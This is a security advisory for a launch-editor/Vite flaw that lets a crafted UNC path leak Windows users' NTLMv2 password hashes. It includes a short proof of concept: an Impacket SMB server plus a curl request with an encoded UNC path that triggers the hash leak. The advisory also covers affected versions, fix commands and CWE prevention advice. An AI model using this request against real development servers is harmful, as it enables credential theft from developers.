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GHSA-v6wh-96g9-6wx3 CVE-2026-53632

launch-editor: NTLMv2 hash disclosure via UNC path handling on Windows

Medium npm
Severity
5.5 / 10
Medium · CVSS 4.0
Exploit chance (EPSS)
0.41%
Chance of exploitation in the next 30 days. Higher than 35.13% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-73 External Control of File Name or Path
CWE-522 Insufficiently Protected Credentials
Fix
Available
3 packages have a fixed version

Description

Summary

The launch-editor NPM package accesses arbitrary paths including Windows UNC paths. When a UNC path is opened, Windows automatically attempts NTLM authentication to the remote host, causing the user’s NTLMv2 password hash to be leaked to an attacker-controlled SMB server. This can result in credential compromise through offline hash cracking.

Impact

If the following conditions are met, an attacker can get the NTLMv2 password hash on the computer that is using the launch-editor:

  • using Windows
  • NTLM is not disabled (it is recommended to disable, while it's still enabled by default)
  • the user accesses the attackers website that sends request to a middleware using launch-editor
  • the server that has the middleware using launch-editor is running
  • the attacker knows the URL for that server and the middleware

This would be a problem if the user password is too simple that it can be identified through offline hash cracking, potentially leading to further compromise of developer accounts or internal systems.

Details

launch-editor accepts file paths without validating or restricting Windows UNC paths such as:

\\attacker-host\share

On Windows systems, accessing a UNC path triggers an automatic NTLM authentication attempt to the remote SMB server. No user interaction or warning is required for this authentication attempt to occur.

If an attacker controls the SMB server referenced by the UNC path the victim’s NTLMv2 hash is transmitted to the attacker. The attacker can then capture the hash and perform offline password cracking. Successful cracking reveals the victim’s cleartext password.

The attacker could target a developer that uses a development server using launch-editor to develop code locally, send them a link and grab their NTLMv2 hash.

PoC

From the attacker side, we will setup an SMB server. I personally used Impacket's smbserver.py, but you could use something like Responder for this as well. For keeping it simple, we will use smbserver.py here.

First, let's create a directory to serve as an SMB share.

mkdir /tmp/data
echo "Hello world" > /tmp/data/test.txt

Then, start the SMB server.

$ sudo smbserver.py -smb2support -debug share /tmp/data

Now, run any project that uses the launch-editor package. I have setup a simple "Hello world" project that uses Vite to do this. Then run the project locally (vite).

Now last, we will open a browser window and navigate to the URL used by the launch-editor package to trigger the NTLM authentication. Or we can use curl to achieve the same.

curl 'http://localhost:5173/__open-in-editor?file=%5c%5c127.0.0.1%5cshare%5ctest.txt'

Note the IP address in the HTTP request, and make sure it connects to the IP address of the SMB server. Now we can look at the logs of smbserver.py and see the NTLMv2 hash coming in.

<img width="1916" height="277" alt="2026-01-30_10-58" src="https://github.com/user-attachments/assets/2f606e8f-c9bb-41dc-b507-ea6606b53368" />

Affected versions

npm

PackageVulnerableFixed in
launch-editor
<= 2.14.0
No fix yet
launch-editor
< 2.14.1
2.14.1
vite
>= 8.0.0, <= 8.0.15
No fix yet
vite
>= 7.0.0, <= 7.3.4
No fix yet
vite
<= 6.4.2
No fix yet
vite
>= 8.0.0, < 8.0.16
8.0.16
vite
>= 7.0.0, < 7.3.5
7.3.5
vite
< 6.4.3
6.4.3
vite-plus
<= 0.1.23
No fix yet
vite-plus
< 0.1.24
0.1.24

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

launch-editor npm → 2.14.1

npm
npm install launch-editor@2.14.1
yarn
yarn add launch-editor@2.14.1
pnpm
pnpm add launch-editor@2.14.1

vite npm → 8.0.16

npm
npm install vite@8.0.16
yarn
yarn add vite@8.0.16
pnpm
pnpm add vite@8.0.16

vite-plus npm → 0.1.24

npm
npm install vite-plus@0.1.24
yarn
yarn add vite-plus@0.1.24
pnpm
pnpm add vite-plus@0.1.24

Severity breakdown

CVSS 4.0 5.5

CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
High
Attack requirements
None
Privileges required
None
User interaction
Active
Confidentiality (vulnerable system)
None
Integrity (vulnerable system)
None
Availability (vulnerable system)
None
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

Weakness

CWE-73: External Control of File Name or Path

The product allows user input to control or influence paths or file names that are used in filesystem operations.

How to prevent it
  • Architecture and Design: When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
  • Architecture and Design, Operation: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
  • Implementation: Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
  • Installation, Operation: Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
  • Operation, Implementation: If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
  • Testing: Use tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session. These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

CWE-522: Insufficiently Protected Credentials

The product transmits or stores authentication credentials, but it uses an insecure method that is susceptible to unauthorized interception and/or retrieval.

How to prevent it
  • Architecture and Design: Use an appropriate security mechanism to protect the credentials.
  • Architecture and Design: Make appropriate use of cryptography to protect the credentials.
  • Implementation: Use industry standards to protect the credentials (e.g. LDAP, keystore, etc.).

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-4r4m-qw57-chr8
Vite has a `server.fs.deny` bypassed for `inline` and `raw` with `?import` query
High Known exploited Also affects vite
GHSA-8g5g-mxqh-grgj
Vite: `server.fs.deny` bypassed with queries
Medium Also affects vite
GHSA-vfpm-58rq-9qcg
Vite: First 4 bytes of files outside of `server.fs` setting is exposed by `?vite-wasm-instance`
Medium Also affects vite
GHSA-rq7h-c2jc-7f22
Vite: Files outside `server.fs.allow` could be served when project paths match system paths on non-Windows machine
Medium Also affects vite
GHSA-9jrq-w75r-8gcw
Vite: Cross origin script execution through Vite custom middleware
Low Also affects vite
GHSA-r825-w8mm-5pxw
launch-editor: Editor CLI flag misinterpretation causing arbitrary command execution for some editors
Medium Also affects launch-editor
GHSA-698v-4r3x-3vcv
launch-editor: escapeCmdArgs() omits % escaping on Windows
Medium Also affects launch-editor
GHSA-587h-7wmj-h5pm
launch-editor: `fs.existsSync()` existence check can be bypassed on Windows
High Also affects launch-editor

Credits: RubenHoms, bluwy, toxyl

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